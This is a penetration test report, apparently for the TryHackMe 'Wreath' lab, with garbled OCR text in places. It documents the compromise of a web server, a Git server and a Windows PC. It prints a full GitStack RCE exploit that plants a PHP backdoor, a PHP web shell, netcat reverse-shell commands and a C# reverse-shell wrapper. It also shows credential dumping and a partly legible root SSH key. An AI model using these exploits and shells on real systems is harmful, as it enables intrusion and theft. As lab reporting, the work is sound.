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Executive Summary

lamNobody was tasked by Mr. Thomas Wreath to perform a penetration test against his lab
environment. The lab environment was created for a project by Mr. Thomas Wreath. During briefing
Mr. Wreath has described the network infrastructure. The network is serving a public facing web
server. Also, the network contains of two other hosts, which are not directly accessible from the
outside. One of these servers is a Git Server and the other one is Mr. Wreath’s PC. Therefore, a gray
box penetration test was performed. The attack was simulated with the following goals:

e Identify any vulnerabilities and misconfigurations in the network.
e Determine which assets could be compromised from a standpoint of an external attacker.

In the end of the penetration test the network was completely compromised. An attacker would
have complete Administrative access to every machine on the network.



Timeline

Date / Time

Event

25.03.2021

Engagement Start

25.03.2021 - 14:00

ROOT access to PROD-SERV

26.03.2021 - 12:00

SYSTEM access to GIT-SERV

27.03.2021 - 16:30

Initial access to WREATH-PC as THOMAS

27.03.2021 - 18:00

SYSTEM access to WREATH-PC

27.03.2021 - 23:30

Data Exfiltration

27.03.2021 - 23:40

Cleanup

27.03.2021 - 23:50

Engagement End




Findings and Remediations
CVE-2019-15107 (Webmin RCE)

Description:

The public facing web server is running an outdated version of Webmin. This
service has a remote code execution vulnerability that allows an attacker to
run arbitrary commands as the root user.

Recommendation:

Update Webmin.

Impact:
System: 10.200.101.200
References: https://nvd.nist.gov/vuln/detail/CVE-2019-15107

GitStack 2.3.10 RCE

Description:

The GitStack service running on the Git Server is outdated. The service has a
remote code execution vulnerability, that allows an attacker in this case to
run arbitrary commands as SYSTEM.

Recommendation:

Update GitStack.

Impact: | Critieal ]
System: 10.200.101.150
References: https://www.cvedetails.com/cve/CVE-2018-5955/

https://www.exploit-db.com/exploits/43777

Unrestricted File Upload

Description:

The new web app which is pushed to the Git repository contains an arbitrary
file upload vulnerability. This vulnerability can be exploited by an attacker to
run arbitrary commands on the system with the rights of the web server.

Recommendation:

Harden the filter.

Impact: | Critieal ]
System: 10.200.101.100
References: https://owasp.org/www-

community/vulnerabilities/Unrestricted File Upload

Unquoted service path

Description:

The service path for service “System Explorer” is not quoted. This allows an
attacker to escalate privileges.

Recommendation:

Add a quote to the path.

Impact: | Critieal ]
System: 10.200.101.100
References: https://book.hacktricks.xyz/windows/windows-local-privilege-

escalationffunquoted-service-paths

https://medium.com/@SumitVermal01/windows-privilege-escalation-part-
1-unquoted-service-path-c7a011a8d8ae
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https://www.exploit-db.com/exploits/43777
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Password Policy

Description:

During the assessment Thomas’ password could be successfully cracked.

Recommendation:

Use more complex passwords. It is also recommended to use password
managers.

Impact: |Wgh ]
System: 10.200.101.150, 10.200.101.100
References: https://en.wikipedia.org/wiki/Password strength

https://keepassxc.org

https://bitwarden.com

GitStack running as SYSTEM

Description:

The GitStack service running on the Git Server is running as SYSTEM user.
Successful exploitation of the service will give the attacker instant SYSTEM
privileges.

Recommendation:

Run GitStack with a less privileged account.

Impact:

Medium

System:

10.200.101.150

SSH Key not protected by passphrase

Description:

The SSH private key of the root user on machine 10.200.101.200 is not
protected by a passphrase.

Recommendation:

Generate SSH keys with a secure and complex passphrase.

Impact: Medium
System: 10.200.101.200
References: https://linux.die.net/man/1/ssh-keygen

Contact information on website

Description:

The web site contains contact information that can be easily picked up by
crawlers. Spammer cans harvest this information for spam and phishing.

Recommendation:

Change the email and phone numbers, so it cannot be easily parsed
anymore.

Impact:

System:

10.200.101.200
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Attack Narrative

Mr. Wreath has provided the IP address of the public facing web server. The engagement was then
started with an Nmap scan against the server. This scan revealed that 4 ports are open on the host.
SSH was running on port 22, a web server was running on port 80 and 443 and finally Webmin was
running on port 10000. Also, the domain name “thomaswreath.thm” could be acquired.
Furthermore, the web server also leaked the operating system: CentOS.

Figure 1

The web server on port 80 just redirected to https://thomaswreath.thm. The landing page revealed

that this is Mr. Thomas Wreath'’s personal web site.

Figure 2 Landing Page

Full-stack Web Development Network Design and Architecture

Intere:

On the web site, contact information were provided. The Email address and the telephone numbers
could be used in a spear phishing campaign. But this was out of scope for this engagement.


https://thomaswreath.thm/

The web page was a static web page. So, no vulnerabilities were found on the

Address site. But on port 10000, Webmin version 1.890 was running. This version of
E:;ggﬂgrdi Court, Webmin contains a command injection flaw which can be used by an

East Riding, unauthenticated attacker to run arbitrary commands on the victim. This
;n;l(j:; vulnerability is described in CVE-2019-15107. To exploit this vulnerability code
Y06130L from the Github repository https://github.com/MuirlandOracle/CVE-2019-

15107 was used. By running the exploit, | was able to obtain a root shell.

Phone Number
01347 822945

Mobile Number
+447821548812

Email

me@thomaswreath.thm

Figure 3 Contact
Information

(venv) — )-[~/../Wreath/10.200.101.200/exploit/CVE-2019-15107
L§ py

CVE-2819-15187.py 1@080 thomaswreath.thm

# id
vid=@(root) gid=8(root) groups=0(root) context=system_u:system_r:initrc_

-3 | -

Figure 4 Exploiting a command injection vulnerability in Webmin

This command injection flaw was used to upgrade to a reverse shell.


https://github.com/MuirlandOracle/CVE-2019-15107
https://github.com/MuirlandOracle/CVE-2019-15107

|- [~/CTF/TryHackMe/Wreath/10.200.101.200]
8@

.91 it )

Nuqf Connection from -

Ncat: Connection from 1@ 6

sh: cannot set terminal process group (1785): Inappropriate ioctl for device
sh: no job control in this shell

sh-4.4% id

id

uid=@(root) gid=@(root) groups=@(root) contexts=

sh-4.4# whoami

whoami

root

~4.41 |

Figure 6 Reverse Shell

With this shell | was able to obtain the SSH private key of the root user. This private key was used as
persistence mechanism.

[root@prod-serv .sshi pwd
froot/.ssh
[root@prod-serv .sshB cat id_rsa

BEGIN OPENSSH PRIVATE KEY
b3BlbnNzaClrZxktdjEAAAAABGS vbmUAAAAEDMIUZ QAAAAAAAAABAAAB T wAAAAdZ
NhAAAAAWEAAQAAAYEASBOHY LNFUHT LbuhePTNoITku40BHE
LEAﬁngQduDA*pjbg (fLC+VmBX 1119L]ouq9:d4AnT1901u

uD1EIuEH X
] \ JrA7/TiWBi6jR
UHjAD;P’Ln+cﬂ05qTNnEUHﬂU {
) chQusibhJE+v1KnKNpZ ‘TQD;qubDDdu++11H++
z14DJom9/CWDpvNS] 17w/ 1IMNiSHZMjczIrAAAFIMfOUC
EAAAGBALN CES5LuDgR/DscBTTDt7TKGR6G
S46LvPQneAHEY fTQ7mGVO
tKs5DBEBU595( m+41Fﬂu
cCUrvDyMyzv11F17DhrkUZe
GoPKPJiToQasoD
rmRshmF12 vh,
_uunnthDEnEn'IULl[m 'T55py jaWdwrYELHZGugDnbvvnNTPvmY

UJUlNUDqPQTTHPh:T VEWAAAAMBAAEAAAGACLPPCNE17 Z6C
i cshmOtzZ
hmFN”dD

_nuyEghhu#Ah ADIPJID1
rMmdruUss5BYSUP+wEUYMbz

fwhDSm9 73
u/9AedZMSu .‘\[JF.'»:—?'I.":"LLt:I:'.'Z:l'l.l:'an'r
[ E9GvwiEHL UmbTHF9L+1b]_ dﬁqldiLEDTEmWUSEUETDBU
HH'.HpJUl"IM“. Oy1tYy F'b[];hgh g7hoc ' ¢

gd54vK8BfN505g TuhWo
quonmuoo umEMEGI-NyEJlTM

an;fI4A1uA!d+r:pRUﬂ]b+oRﬁEquy
GbJ7oA NSAAAARCmIvAEBRD 'ngkLhNLanEAg——
END OPENSSH PRIVATE KEY
Figure 5 Reading SSH private key of root




The extend of compromise at this stage can be visualized in Figure 7.

55H 55H

L J

L J

Altacker

Cent05 Server

Internal Metwork

Figure 7 Stage of Compromise

After the compromise, the web server was now used as a pivot point to access the internal network.
The next step involved the discovery of hosts inside the network. For this reason, a static Nmap
executable was uploaded to the “tmp” directory of the server. The utility scp was used to transfer
the file. After scanning the network, four other hosts could be identified. But only the hosts
“10.200.101.100” and “10.200.101.150” were inside the scope of the penetration test.

[root@prod-serv ~ /tmp/nmap-IamNobody -sn 10.200.181.1/24 -oN /tmp/scan-IamNobody

Starting Nmap 6.49BETAL1 ( http ) a 5 2 2 GMT

Cannot find nmap-payloads. UDP p

Nmap scan report for ip-1 9-101-1.eu- (19.200.1081.1)
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (

MAC Address: 27

Nmap scan report for z C .intermal (1@ 0.181.180)
Host is up (¢ )

MAC Address:

Nmap scan report r i L E T .compute.internal (1@ .191.158@)
Host is up (@.¢

MAC Address: - :

Nmap scan re t f 2 A1-250.¢ L .compute.internal (1@

Host is up

MAC Address:

Nmap scan report for g e = .compute.intermal (1@

Host is up.

Nmap done: IP address (5 hosts up) scanned in 5.65 seconds

[root@prod-serv ~Ht |]

Figure 8 Scanning internal network structure



At this point the attacker’s view of the network can be best described in Figure 9.

S5H 55H
2
Cent05 Server
Altacker 10.200.101.200

10.200.101.100 10.200.101.150

Internal Network

Figure 9 Network structure from the attacker's view

From the compromised CentOS host a port scan was conducted. The host with the IP 10.200.101.100
had all ports closed. But the Nmap scan was able to enumerate services on the host with the IP
10.200.101.150. The ports 80, 3389 and 5985 were open. Based on the simple fingerprinting that
Nmap has done we could assume that the host is running Windows.

©00.101.158-TamNobody

ting Nmap 6.49BETAl ( http E ) GMT
find nmap-

Cannot find nmap- ds.
Initiating ARP Pin n a
[1
at

-1.compute.intern: ( .181.150) [615@ ports]
0.101.150

opped probe
dropped probes
dropped probes since

to 11 out of dropped probes sin
9 dropped probes since

Timing: About
Scan Timing: About
imi About

About 91.
About 96

no-responses
TATE SERVICE

5985/tcp o
C Address:

[root@prod-serv tmp B I



To be able to interact with the client “10.200.101.150”, an SSH tunnel was established. After that,
the web page on port 80 could be inspected from the attacker machine.

not found at /

c @

Page not found (404

Request Method: GET
Request URL: http://10.200.101.150/

Using the URLconf defined in app.urls, Django tried these URL patterns, in this order:

1. "registration/legin/$
2. "gitstack/
3. "rest/

The current URL, , didn't match any of these.

You're seeing this error because you have DEBUG = True in your Django settings file. Change that to False, and Djange will display a standard 404 page.

This server was running Gitstack. Gitstack 2.3.10 contains a remote code execution vulnerability. The
following Python script from Exploit-DB was used: https://www.exploit-db.com/exploits/43777.
Modifications to this script are documented in Appendix A. After executing the exploit, a web shell
was uploaded to the victim. It was possible to interact with the system through the web shell with
SYSTEM privileges.

) ~[~{../TryHackMe/Wreath/10.200.101.158/exploits]
7 ny

found: /etc/pr hains4.conf

ychains] St t chai . 27.8.0.1:9@00 ... . .1@01.158@:
ound user t
i B.0.1:9¢ - .181.15@:

19000 .101.15@:

.101.15@:

ict chain ... 27.8.8.1: € - ! ©.101.150:
r in PHP

55 to your repository
mmand
1¢ .1@1.150:80 ... OK

The Git server had no internet connectivity. This could be confirmed by sending an ICMP ping
request to the attacker machine.

~[~/CTF/TryHackMe/Wreath
tuno icmp

-0, =2

~[~/-/TryHackMe/Wireath/10.200.101.150/exploits

So, to be able to connect to the victim, | had to establish a tunnel between the victim and the
attacker by using the external web server as relay. For this reason, the port 1700 was opened on the


https://www.exploit-db.com/exploits/43777

web server.

l_—! |-[~/CTF/TryHackMe/Wreath/prod-serv]

: root idrsa root@l@.2@0.101.200
[root@prod-serv ~H firewall-cmd -—-zone=public --add-port 17@@/tcp
SUCCess

[root@prod-serv ~F |J

Furthermore, a static Socat binary was uploaded to the “tmp” directory of the web server by utilizing
“scp”. The Socat binary was executed with the following parameters “./socat-lamNobody tcp-1:1700
tcp:10.50.102.19:443”. Additionally, the following Powershell reverse shell was used to connect
back to the attacker machine.

By sending the following request via CURL the Git Server finally has connected to the attacker
machine.




F/TryHackio/Mroath/ we

> —>

- Cent0s Senrei
Altacker Tunnel 10.200.101.200

DN

10.200.101.100 10.200.101.150

Internal Metwork

Figure 10 Reverse Shell from 10.200.101.150

During post exploitation of the host 10.200.101.150, a new administrator with the name
“lamNobody“ was added to the machine. After that Mimikatz was used to obtain the NTLM hashes



of users on the machine.

B8 mimikatz 22.0 x64 (oe.cc) - o X

The NTLM hash of the user “Thomas” could be successfully cracked.

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

- I'm not a robot

Supports: LM, NTLM, md2, md4, md5, mdS{md5_hex), md5-half, shal, sha224, sha256, sha384. sha512. ripeMD160. whirlpool, MySQL 4.1+ (shal(shal_bin)), QubesV3.1BackupDefaults

Hash Type Result

[ i L

Color Codes: BIEER! Exact match, Yellow: Partial match, [l Not found

Download CrackStation's Wordlist

The hash of the Administrator user could be successfully used in a pass-the-hash attack to
authenticate to the machine via WinRM.

L—lﬁ )-[~/CTF/TryHackMe/Wreath ]

s evil-winrm Administrator 9.101.150
[proxychains] config file found: /

[proxychains] preloadi

[proxychains] DLL ini

70.101.15@:

[proxychains] Str B.1r 0.101.15@
proxychains] ¢ ai .0.0.1:9000 B.200.101.158@
[ ych 161.150
git-sery ini y




From the machine 10.200.101.150 | could successfully initiate a port scan of the machine
10.200.101.100. The Invoke-Portscan.ps1 script from Nishang was used to perform this task. The
port scan could determine that ports 80 and 3389 were open on the target.

-topports 50

Hostname

openPorts
closedPorts

fil edPorts
finishTime

To access the web page from the attacker machine, another port forward was created. This time
“sshuttle” has been used to connect to the victim network via the external accessible web server.
“chisel” was uploaded to the Git server, so a connection between the attacker and the host
10.200.101.100 could be accompllshed Also, the port 7273 was opened on the host 10.200.101.150.

1 add rule name="pivot" dir=in action=allow protocol=tcp localport=

C:\Users\IamNobody\Documents>

lient version (0.0.0-src) differs from server version (1.7.6)f

i/o timeout

i/o timeout (Attempt: 1)

i/o timeout (Attempt: 2)

Figure 13 Connecting to the chisel server on 10.200.101.150 from the attacker machine

Finally, the web page on the host 10.200.101.100 could be displayed in a web browser of the
attacker. It was the same web page as on the public serving web site. But | have assumed that this



web page is a newer version because it is served on the developer’s machine.

"o e a¥a

1 am a sysadmin and developer with a passion for tech! My specialisms are full-stack web development and

software dev. | have a track record for providing fast, efficient and dynamic solutions for my clients -- both

recently in my freelance work, and previously as the team lead of a software development team in Solihull,

UK

Please find my CV below.

I look forward to hearing from you!

Full-Stack Web Development

10 years on-and-off experience as a full-stack web
developer, speclalising In Cent0S LAMP
installations. Preference for PHP development, but

Network Design and Architecture
Interested in how networks work from a young age
Worked as a systems administrator for 5 years.
Experienced at designing, implementing and

with extensive of full-stack
in Python, Node.js and Golang.

networks comprised of Windows, Linux
and BSD hosts (as well as any necessary embedded

systems)
Software Development Team Management
A Started developing simple programs as a child and Worked for three years as the development team
E, ] Sis maintained the skill as a hobby until learning leader for Vanguard Software Solutions, Ltd, before
Hi, I'm Thomg 4
’ A - - | formally at university, resulting in 25 years of thelr dissolution in 2019. Role involved close co-
Developer and S software development experience. Seven of these ordination with management, as well as a team of 8
- were working professionally as a software developers,

developer.

Because developers often push their code to version control repositories, the repository for this web
page was searched on the Git Stack server. The Git repository was located at
“C:\gitstack\repositories\website.git”. This directory was downloaded with “evil-winrm”. The
GitTools Extractor has been used to recreate the source code. The commit with the ID
“345ac8b236064b431fa43f53d91c98c4834ef8f3” was then analyzed because it was the most recent.
The file at “resources/index.php” contained an interesting to-do-comment:

html lang

This information could be used to start a phishing attack against Mrs. Walker. But this was out of
scope for this engagement. | could confirm that this resource exists on the client 10.200.101.100, by
navigating to the URL in the web browser.

Welcome Thomas!
Ruby Image Upload Page

Browse. No file selected. Upload



https://github.com/internetwache/GitTools

Additionally, this code contained the upload filter.

die
else if

The upload filter had some vulnerabilities. The filter checks if the file is an image. Furthermore, the
file name is splitted on the “.” sign. The second index of the resulting array is then checked against a
whitelist. If all checks succeed, the file is uploaded to the “uploads” directory. This filter could be
easily bypassed by creating a file with name “cat-lamNobody.jpg.php”. Furthermore, an obfuscated
PHP payload has been added to the “Comment” metadata of the image. The following simple web
shell has been used.

<Zphp
Scmd = $_GET["foo"];
if{isset(Scmd)){
echo "<pre>" . shell_exec($cmd) . "</pre>";
!

die();

To be able to evade anti-virus, the web shell has been obfuscated.

Finally, the code was injected to the “Comment” metadata of the image.




After uploading the file, remote code execution was possible as the “Thomas” user on the target.
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USER INFORMATION

User Name SID

wreath-pchthomas S-1-5-21-3963238053-2357614183-4023578609-1000

GROUP INFORMATION

Group Name Type SID Attributes

Everyone Well-known group S-1-1-8 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias 5-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group 5-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group 5-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group 5-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group 5-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group 5-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label 5-1-16-12288

PRIVILEGES INFORMATION

Privilege Name Description State

SeChangeNotifyPrivilege Bypass traverse checking Enabled

SeImpersonatePrivilege Impersonate a client after authentication Enabled

SeCreateGlobalPrivilege Create global objects Enabled

SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

To obtain a reverse shell, a Netcat binary was uploaded to the victim. First, the code for Netcat has
been obtained from Github. The Makefile has been changed. You can inspect the changes in
Appendix A. The Netcat binary was then uploaded to the host 10.200.101.150. From there the
firewall port 7888 was opened.

The Netcat binary was then served with a simple PHP web server. The binary could be downloaded
to the host 10.200.101.100 by calling the URL “http://10.200.101.100/resources/uploads/cat3-
lamNobody.jpg.php?foo=curl%20http%3A%2F%2F10%2E200%2E101%2E150%3A7888%2Fnc%2Dla
mNobody%2Eexe”. To get a reverse shell the following Powershell command has been executed on
the host 10.200.101.100:

powershell .\nc-lamNobody.exe 10.50.102.19 80 -e cmd.exe

This could be accomplished by calling the URL:


https://github.com/int0x33/nc.exe

http://10.200.101.100/resources/uploads/cat3-lamNobody.jpg.php?foo=powershell%20.\nc-
lamNobody.exe%2010.50.102.19%2080%20-e%20cmd.exe

Finally, the attacker gained a shell on 10.200.101.100:

)= [~//TryHackMe/Wreath/10.200.101.100/nc.exe]
C 80
Version 7.91 ( https://nmap.org/ncat )
Listening on
Listening on @
Connection from 1@.

Connection from 1@.200.
soft Windows [Version 18.

» —

-ﬁ?"'\.
k\w'ﬁ.;} ~
= Centls Sarver
Attacker Tunnel 1{I'.2DD.1{I'1I'.2D'|1|'

¢ W )

| Metcat Reverse Shell | I|

Internal Network:

Figure 14 Reverse Shell from 10.200.101.100

To escalate privileges to an Administrator account, local enumeration has been started. During local
enumeration, an interesting non default service could be spotted.

The path for “System Explorer Service” was not quoted. Furthermore the user “Thomas” has write
privileges in the directory “C:\Program Files (x86)\System Explorer” and the service was running as
“LocalSystem”.



BUILTIN

BUILTIN

BUILTIN 3 £ ynchron
BUILTIN

CREAT

APPLICATION LL APPLICATION
APPLICATION LL APPLICATION
APPLICATION 5 : ‘ CTED
APPLICATION K STRICTED

;3:C0)(A;ID;0

SERVICE_NAME: SystemExplore
TYPE E
START_TYPE
{_CONTROL IGNORE
PATH_NAME £ ram Files (
LOAD_ORDER_GROUP
TAG

DEPENDE ES g
SERVICE_START_NAME : LocalSystem

mpp\htdocs sources‘\uploads>[]

stem Explorer’ | format-list”

ize

PACKAGES All

P, All
APPLICATION PA
APPLICATION PACK.

stem Explorer stem Explo

DISPLAY_NAME stem Explore rvice

To elevate the attacker’s privileges, a malicious .NET executable has been created. This program
starts Netcat and connects to the attacker on port 443. The code of the program is attached to
Appendix A. The wrapper program was placed inside the “C:\Program Files (x86)\System Explorer”

directory and was named as “System.exe”.
C:\Pr
dir
Volume
Volume Serial Number is AB41-2

'rogram Files

<DIR>
<DIR>
<DIR>

System Explorer

Lo oL
e R S
£ owmon

—+ +

(==
[a]

After restarting the “SystemExplorerHelpService” the attacker was able to obtain a shell with

SYSTEM privileges.



“WProgram Files (x86)%\System Explorer>»sc stop SystemExplorerHelpService
stop SystemEx p101ﬂ1Hﬂ1p59rv1ce

SERVICE_MNAME: SystemExplorer !
TYPE = 1 SHARE_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)

WIN32_EXIT_CODE
SERVICE_EXIT_CODE
CHECKPOINT
WALIT_HINT

“Program Files (x86)\System Explorer>sc start SystemExplorerHelpService
33;T=mEnp1oxann1p :
ervice FAILED 1@

vice did not respond to : art or control regquest in a timely fashion.

|- [~/CTF/TryHackMe/Wreath ]
do nc 443
Version 7.91 ( s://nmap.org/ncat )
Listening on -
Listening on @
Connection from 1.
Connection from 1@. -
crosoft Windows [Version 18.8.17
(c) 2818 Microsoft Corporation. ALl

C:\Windows\system32>whoami
whoami
nt authority\system

C:'\Windows\syste
Figure 17 Receiving the SYSTEM shell

At this point the SAM and SYSTEM registry hives were exfiltrated via SMB. Finally, the credentials
could be dumped.

‘“Windows\Temp>net use 418, .19%share HUJEE.+GG fooml234%%

net use %419.50.182.19share HU EE:+ﬂﬂ foo@l
The command completed successfully.

1 fil f5: mﬂued.

C:\Windows\Temp>move 5v5+-
move systembak ;
1 file(s) move

Figure 18 Exfiltrating SAM and SYSTEM hive



~/../TryHackMe/Wreath/10.200.101.100/smb
et . /S LOCAL

Impacket v@8.9.22 - Copyright ureAuth

AM hashes (uid:rid:lmhash:nthash)
Administra
Guest:5
DefaultA
WDAGUtilit
Thomas:1
aning up ...

Figure 19 Dumping Hashes



Cleanup

All newly added firewall rules were deleted. Also, the Administrator account “lamNobody” on the
host 10.200.101.150 was deleted. All files were deleted except for the Netcat executable on the host
10.200.101.100. The listener is located at “C:\xampp\htdocs\resources\uploads\nc-
lamNobody.exe”. Mr. Thomas Wreath is advised to delete this file. Log files were not modified.



Conclusion

The penetration test has shown that an external attacker can gain an initial foothold to the network
by exploiting the public facing web server. From there an attacker can compromise the entire
network. All the critical vulnerabilities should be fixed first. Start by updating the vulnerable Webmin
service on the host 10.200.101.200.

Furthermore, it is recommended to use and Intrusion Prevention System or an Intrusion Detection
System, so a compromise can be detected more rapidly.

To prevent outdated services running in the network, it is recommended to regularly run a
vulnerability scan.

Also, a penetration test is considered a snapshot in time. The findings and recommendations reflect
the information gathered during the assessment and not any changes or modifications made outside
of that period.
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Appendix A
Modified GitStack 2.3.10 RCE Exploit Code

Exploit: GitStack 2.3.10 Unauthenticated Remote Code Execution
Date: 18.01.2018

Software Link: https://gitstack.com/

Exploit Author: Kacper Szurek

Contact: https://twitter.com/KacperSzurek

Website: https://security.szurek.pl/

Category: remote

1. Description

H o 3 3 S S S S 3k 3k

#$ SERVER['PHP AUTH PW'] is directly passed to exec function.

#
#https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html
#

#2. Proof of Concept

#

import requests

from requests.auth import HTTPBasicAuth

import os

import sys

ip = '10.200.101.150"

# What command you want to execute

command = "whoami"
repository = 'rce'
username = 'rce'
password = 'rce'
csrf token = 'token'

user list = []

print "[+] Get user list"

try:
r = requests.get ("http://{}/rest/user/".format (ip))
user list = r.json()
user list.remove ('everyone')

except:

pass

if len(user list) > O:

username = user_ list[0]

print "[+] Found user {}".format (username)
else:

r = requests.post ("http://{}/rest/user/".format (ip), data={'username' : username,
'password' : password})

print "[+] Create user"

if not "User created" in r.text and not "User already exist" in r.text:
print "[-] Cannot create user"
os._exit (0)

r = requests.get ("http://{}/rest/settings/general/webinterface/".format (ip))
if "true" in r.text:
print "[+] Web repository already enabled"
else:
print "[+] Enable web repository"
r = requests.put ("http://{}/rest/settings/general/webinterface/".format (ip),
data="'{"enabled" : "true"}')
if not "Web interface successfully enabled" in r.text:
print "[-] Cannot enable web interface"
os. exit(0)

print "[+] Get repositories list"
r = requests.get ("http://{}/rest/repository/".format (ip))
repository list = r.json()

if len(repository list) > O0:

repository = repository list[0]['name']

print "[+] Found repository {}".format (repository)
else:



print "[+] Create repository"

r = requests.post ("http://{}/rest/repository/".format (ip), cookies={'csrftoken'
csrf token}, data={'name' : repository, 'csrfmiddlewaretoken' : csrf token})
if not "The repository has been successfully created" in r.text and not "Repository
already exist" in r.text:
print "[-] Cannot create repository"
os. exit(0)

print "[+] Add user to repository"
r = requests.post ("http://{}/rest/repository/{}/user/{}/".format (ip, repository, username))

if not "added to" in r.text and not "has already" in r.text:
print "[-] Cannot add user to repository"
os. exit(0)

print "[+] Disable access for anyone"
r = requests.delete ("http://{}/rest/repository/{}/user/{}/".format (ip, repository,
"everyone"))

if not "everyone removed from rce" in r.text and not "not in list" in r.text:
print "[-] Cannot remove access for anyone"
os. exit(0)

print "[+] Create backdoor in PHP"

r = requests.get('http://{}/web/index.php?p={}.git&a=summary’'.format(ip, repository),
auth=HTTPBasicAuth (username, 'p && echo "<?php system($_POST[\'a\']); ?2>" >
c:\GitStack\gitphp\exploit-IamNobody.php'))

print r.text.encode(sys.stdout.encoding, errors='replace')

print "[+] Execute command"
r = requests.post("http://{}/web/exploit-IamNobody.php".format(ip), data={'a' : command})
print r.text.encode(sys.stdout.encoding, errors='replace')



Changes to Makefile of Netcat

[r—i |- [~/.../TryHackMe/Wreath/10.200.101.100/nc.exe ]
7it diff

diff --git a/Makefile b/Makefile
index eaba83f..26308bcl 100644
--- a/Makefile

++ b/Makefile

-D_CONSOLE -DTELNET -DGAPING_SECURITY_HOLE

-luser3i? -lwsock3? -lwinmm




C# Wrapper for Netcat

using System;

using System.Diagnostics;

namespace Wrapper
{
class Program

{

static void Main ()

{

Process proc = new Process();

ProcessStartInfo procInfo = new
ProcessStartInfo ("C:\\xampp\\htdocs\\resources\\uploads\\nc-IamNobody.exe", "10.50.102.19 443
-e cmd.exe");

procInfo.CreateNoWindow = true;
proc.StartInfo = procInfo;

proc.Start () ;



